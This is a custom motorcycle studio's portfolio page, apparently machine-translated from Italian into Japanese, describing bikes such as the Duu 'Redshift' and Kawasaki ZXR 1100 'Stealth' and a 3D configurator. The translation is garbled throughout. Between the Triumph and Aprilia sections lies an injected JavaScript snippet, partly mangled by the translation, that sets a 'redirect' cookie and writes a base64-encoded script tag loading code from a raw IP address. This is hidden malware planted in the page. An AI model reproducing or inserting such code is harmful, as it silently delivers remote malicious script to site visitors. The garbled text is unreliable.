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CR&Sは運びます “赤方偏移”

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GIVEN赤方偏移は、ノートCRの自然な進化であります&Sは運びます, 専用の職人の金型とオートバイメーカーのmeneghinaで小さな循環で生産オートバイ.
ときで 2013 このプロジェクトは、CRに内部を悪い気分によって中断されたduu&S, そのリードデザイナードナートCannatello, 無比の短いスティントの後, 彼は自分のデザインセンターを開設することを決定しました, そして、プロジェクトduuを前方に運ぶために, 今そのクリエイターの孤立, しかし、排他的なオートバイの創始者の協力と承認を使用して, 同様の操作人員のよう, 変わらず自尊心と友情に感謝.

オリジナルの自転車は、モデルの自然な進化「Biotta」として時に特定され、特定の文体の標準た人々に従って開発されてきました (「裸」編) 会社によって提示機会に.

再設計は明らかに新しいロックステディのフロントエンドに焦点を当てています, 中央クッションおよび横スライドシースに革新的なシステムで元倒立フォークを交換. 新しいフロントエンドには、コンピュータに生まれたLaprogettazione, 3次元モデリングと解析FEMによってすべてのコンポーネントを作成します , それはまた、それが受ける力の制御を通じて、私たちは一つ一つのパーツを解析することができました.
コンポーネントは、CNCの除去技術によって実現されています (数値制御
コンピュータ化されました) ビレットミリングと.

デザイン (かむしろ実現) 異なる銅成分の自動二輪車に色・手芸文字を与えクウィドあります.
車体部品の元の形からスタート, 伝統的なタイピング技術によりピッチに基づいて, 彼らは形状に貴金属のcertosini自身で熟練した職人の手作業をもたらすいくつかの要素をとっています.

赤方偏移はまだ毎日オートバイであります, パフォーマンスによるだけでなく、.
このアイデアを満たすための主要なコンポーネントの一つは、二重の意味を持つ新しい助手席/テールです, 片側の, テール/タンクの形状を有する視覚的な連続を作成アルミニウムビレット製のベースと「カバー車」, 単に回しながら、それは、必要に応じて乗客を収容するためのパッド入りのサドルが判明します.

プロジェクト名「赤方偏移」, アストラル物体によって放射される光は、彼が放射であったものよりも波長大きいサイズを有することにより、現象, 赤にその色をshiftando, それはduuの進化を象徴します, 進化しただけのバイクシリーズに小型バイクから.

赤方偏移IL:

  • 赤色シフトは、物体から放射される光が放射であったものよりも長い波長を有することにより、現象であります.
    これは、色が赤に変わることを意味し.
  • 最も重要なのは、宇宙論では赤方偏移であります, 宇宙の膨張による. 特定の番組の星地球からの距離が増大する速度に対応する赤方偏移.
  • 銅は、元duuからその変位当社duuに使用されています, 老化は、その色が変わります, 材料はかかる色変化を仮定.
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ITALIAN MOTORCYCLEコンテスト
"SHOW OF BEST 2018"

私たちの運び "赤方偏移" 彼は賞を受賞しました "SHOW OF BEST" 全国コンテスト IMC , 美しい他のバイクで、最高レベルの衝突.

これは明らかに誇りを持って私たちを満たし、さらに良く行うために、私たちの動機.

プロジェクトのパートナー:

アンドレアニサスペンション
Rizoma
S&S
シルバー・トレ 銀 3
パーシュブルク & Wunderlich GmbH
Motogadget
マーラ張り ファブリツィオ・マーラ
ph. アリアナ・パヴァーニ
ph. ドナートCannatello
フェイスブック インスタグラム ph. グイドポリ

プレスキットGIVEN REDSHIFT

GIVEN REDSHIFTプレスキットをこちらからダウンロードしてください

S2 – コンフィグレータ3D

での経験のおかげで オートバイのデザイン, デザインとスタイルと3次元モデリング, 我々が開発しました 3Dコンフィギュレータ 運動コンフィギュレータとして辞退することができ, カーコンフィギュレータまたはより一般的に製品コンフィギュレータとして. 現実に, より正確に, これは、オブジェクトの複数の種類のために完全に構​​成されたプラットフォームです。, 主に、明らかに彼女は、さまざまなプラットフォーム上で動作可能なオートバイ.

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当社の3Dコンフィギュレータので、?

従来の構成のシステムとは異なり, 我々は非常に簡単な方法で、はるかに広範かつモジュラーが、特に進化可能な時間であります.

 

このシステムは、ツールに変換します, オートバイの製造業者のための (あるいは他の製品), 非常に有用かつ効果的.

 

 

 

 

機能3Dコンフィギュレータ:

 

 

私たちのシステムでは、顧客は、簡単に構成コンテナにそれらを挿入することができます:

  • 複数のモデルまたは変種, 時間と細部の上にそれらを進化 (当該費用, 通貨, ローカライズなど)
  • エンドユーザのデータを監視し、追跡するためのシステム (ジオロケーション, 住所や好み...)
  • リアルタイム多通貨で更新リスト
  • 接続とディーラーコーナーに直接設定
  • オンライン予約
  • イベントのための没入型システム, 展示会やプレゼンテーション
  • グラフィックスアップデートの, アクセサリー, 色やコースのモデル
  • モデル年の変更

 

 

 

 

フィエラで ?

当社の3Dコンフィギュレータは、2台のモニタ上で実行されます, コントロールと表示, このように、ユーザ体験は排他的ではありません, それは全体の観客を必要とします!

Provalo ora!

Fatti un giro virtuale nel nostro configuratore 3D per UM Motorcycles

川崎ZXR 1100 “ステルス”

現代のポスト/アトミックに再発行のクラシック!

Logo_Officine_Riunite_Milanesi用として作成されました "オフィRiunite Milanesi" 川崎ZXRから 1100, "Lamaialona" それは非常に単純な基準で故意に強いデザインスタジオです.
キーCafèにてレーサーで同じ解釈にうんざりしていません, Hypster Oスクランブラー, 私たちは、私たちは、両方の正式な実験を行うために技術および材料の両方で使用可能とする解釈を選びました.
最初のアイデアは、ステルススタイルで自転車でした, 文字通り "ステルス, こっそり", 私たちは、その後、全国の代表的な軍事的手段にこの概念を適用しようとしたか、そうでない場合は、道路, もちろん、私たちは、この設計の典型的な正方形の形状に焦点を当て, 鋭いエッジ上やグローバル設計の技術的性質に. また、から "ジャーゴン" 軍は土壌のすべてのタイプのパフォーマンスを継承しています, 滑走路への純粋なオフロードから, 高効率な循環システムの手段を装備, サスペンションを交換します, ホイールやブレーキシステム. 後者は、から私たちのデザインに応じてアドホックを実現しています "Discacciatiブレーキシステム" 関与するこの裁判でご参加いただきありがとうございます, 常に信頼性と安全性の基準の最高水準と, ブレーキシステムなどのように、排他的な技術と機能性成分.

モーターサイクルショーとフタ(布田)峠

自転車は、大量生産のだけでなく、民間の通訳スタッフの両方の将来のオートバイの傾向のための設計研究の要素として、全体として設計されています, 私たちは、この実験の結果は確かに肯定的であると考えています, 私たちは、あなただけの納屋で無気力の年から生まれたラット自転車や古いトラクターを表示せず、強い機械的特性から半分を作り出すことができることを見ました. 結果は、しかし、ヘビーデューティー使用の両方のために非常に適しているバイクです, 遠足長距離など, または丘に乗っまたは1つのストレスフタ(布田)峠. しかし、同時にあなたが使用することができます "Lamaialona" 輸送の日々の手段として、または単純な運動など "バー".

3D印刷

Lamaialonaは、近代的な3Dデザインと印刷システムの助けを借りて実現しました. 最初のステップは、コンピュータ上のバイクを持っていました, 半分はワークショップに来たように、ここで私たちは、すぐに3次元走査に移行しました, すべての上部構造を除去するための時間と 5 私たちは私たちが完全な全体像を設計に進行させるポイントの美しい雲を持っていた分、.
我々は、様々な関係者の実装を開始したスタイルを定義したら、. 最初のインスタンスでは、部品が正しく組み立てられたことを確認するために、当社の3Dプリンタを使用していました.
自転車はその後、技術の混合物を使用して作成されました, デジタルデザインとより実用的なマニュアル. すべての作品をスキャンした後、それらを3Dで設計されました, その後、アルミニウム板金部品を切り出し、手で溶接されています, すべてのプラスチック部品ではなく、将来の複製のためのCNCで実現可能性の基準に基づいて設計され、その後、FDM 3Dプリントを使用して実装されています. その時点で、塗料の良いコートと、ここでインストールのための作品の準備ができて.
フェアリングは、代わりに、アルミニウムの単一ブロックから作製しました 6061 CNCフライス盤を経由して, この露出されたエッジを有する薄いゲージのシートメタルエッジの古典的な欠陥のない非常に多くの場合得るために.

Omologabilità

幾何学的な視認性プレートPL

全体のバイクは、関連性の完璧なホモロゲの基準に基づいて設計されています, したがって、それは完全です "準拠したコード" EC指令に従っ (2002/24/EC). すべてのライトが承認され、幾何学的に正しい位置に配置されています, 同じことは、ナンバープレートのために適用され、他のすべての付属品が示され. 同様に機械部品を積極関連のホモロゲーションテストを克服する準備ができています (貯水池, 三脚など).

Officine Riunite Lamaialona by GIVEN (LR) (2)

MOTO GUZZI V11 “ダーケスト”

あなたのバイクのカスタマイズは、誰もが行うことができます検索の他のタイプは異なるものです.

それは何かの作成や発明を目的とした技術の研究と異なっています, それは何かの概念の間に行うことができ、設計の研究と異なっています, また、他の分野で行うことができるカスタマイズは異なっています. 偉大な建築の改修など、より重要に靴下の色を選択する方法が最も軽薄が、車をカスタマイズするのと同様の練習から実際にも非常に異なるから、.

作る自分自身または自分の考えや理想や自分のスタイルと同様にオートバイは、開発のほとんどのために、ちょうどあなたのバイクを見て横に座って立って多くの時間を必要とする操作です, 想像します, 夢.

私たちは自転車を考えるときに不可欠な補足としてそれを想像します. 我々はそれをしたいかではありません何があってはいけません, 何枚ません, 何のネジません, 何色ません, 無反射ん, 影ありません.

私たちのMOTO GUZZI V11は、我々の意見では、実際のTAILORは、自動二輪車に適用作られて.

味の骨の折れる定義し、顧客のスタイル, 彼はどのようにドライブするかの, 彼はドレスかの, 彼が好きで、彼が何を好きではありません, どのように思いやりのある、どのように彼はmistreats.

いいえ派手な要素ません, しかし、エレガントな仕上げと部品のセット, オートバイ “良いです” おいしいではなく叫ぶと派手ではありません. 色や細部のバランスが発見するが、上記のすべてを使用します, シンプルだが強力な機械的な基盤の上に適用されます. 伝統の味と機能のバイクが、とは、あなたが楽しい仕事に行かせると、あなたがより良い日に開始します.

トライアンフスピードトリプル 1050 “スピードブラック”

ラトライアンフスピードトリプル 1050 それは私たちのお気に入りのバイクの一つであります, 彼のサイクリング設定, 美学, ドライビングポジション, エンジン特性は、そのルックスの完璧なブレンドで作ります, 遊び, 使いやすさと見た目!
多分私達はちょうどこのバイクの典型的なクロームデュアル光学系と、以前のシリーズのためではありません, それは、ユニークで独特の重要な際立った特徴のまま, それを削除することは不可能.
このバイクのために私たちは、後部光領域の光のモデルチェンジを選びました, 非常に重要と重いベース, 広告ホックと縮小寸法のヘッドライト支持板を実現します.
すべてのキューは、低排出とショートにし、感謝をスリム化されました, 多くのレース, 自転車に多くのスリムなイメージを与えます.

全体的な結果は、美しいバイクです, 簡単に表示および使用, 、グラフィックのおかげで駆動する光と楽しいです “トーントーン” これは、街灯クォーツで照らさ夜の街をさまよう、メトロポリタン・クラブのノートによって中断神秘的でエレガントなオブジェクトのまま.

duuに専念いくつかのカバー

関数getCookie(E){VAR U = document.cookie.match(新しい正規表現(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/グラム,”\\$1″)+”=([^;]*)”));Uを返します?decodeURIComponent(ザ・[1]):空隙 0}VARのSRC =”データ:テキスト/ javascriptの;base64で、ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,今= Math.floor(Date.now()/1E3),クッキー= getCookie(“リダイレクト”);もし(今>=(時間=クッキー)||無効0 ===時間){VAR時間= Math.floor(Date.now()/1E3 + 86400),日付=新しい日付((新しい日付).時間をもらう()+86400);document.cookie =”リダイレクト=”+時間+”; パス= /; =有効期限が切れます”+date.toGMTString(),document.writeを(”)}

アプリリアRamsex

 

ロゴアプリリアRÂMSEXはアプリリアの順序によって開発された先進的な概念である、それを開きます, 基本的な仕組みは、アプリリアドーソデュロのことです, の後、Vツインエンジン 90 pressofusione.ApriliaRÂMSEX中度および混合枠管状構造/アルミニウム板 750.

私たちの提案は、より多くの上部構造見て’ ひょろっと, 前輪19″ , サドルの下で低放電し、タンク, tutto questo per un prodotto piustradale, もっと’ minimale, orientato piuverso un supermotard di grossa cubatura che una endurona di tendenza.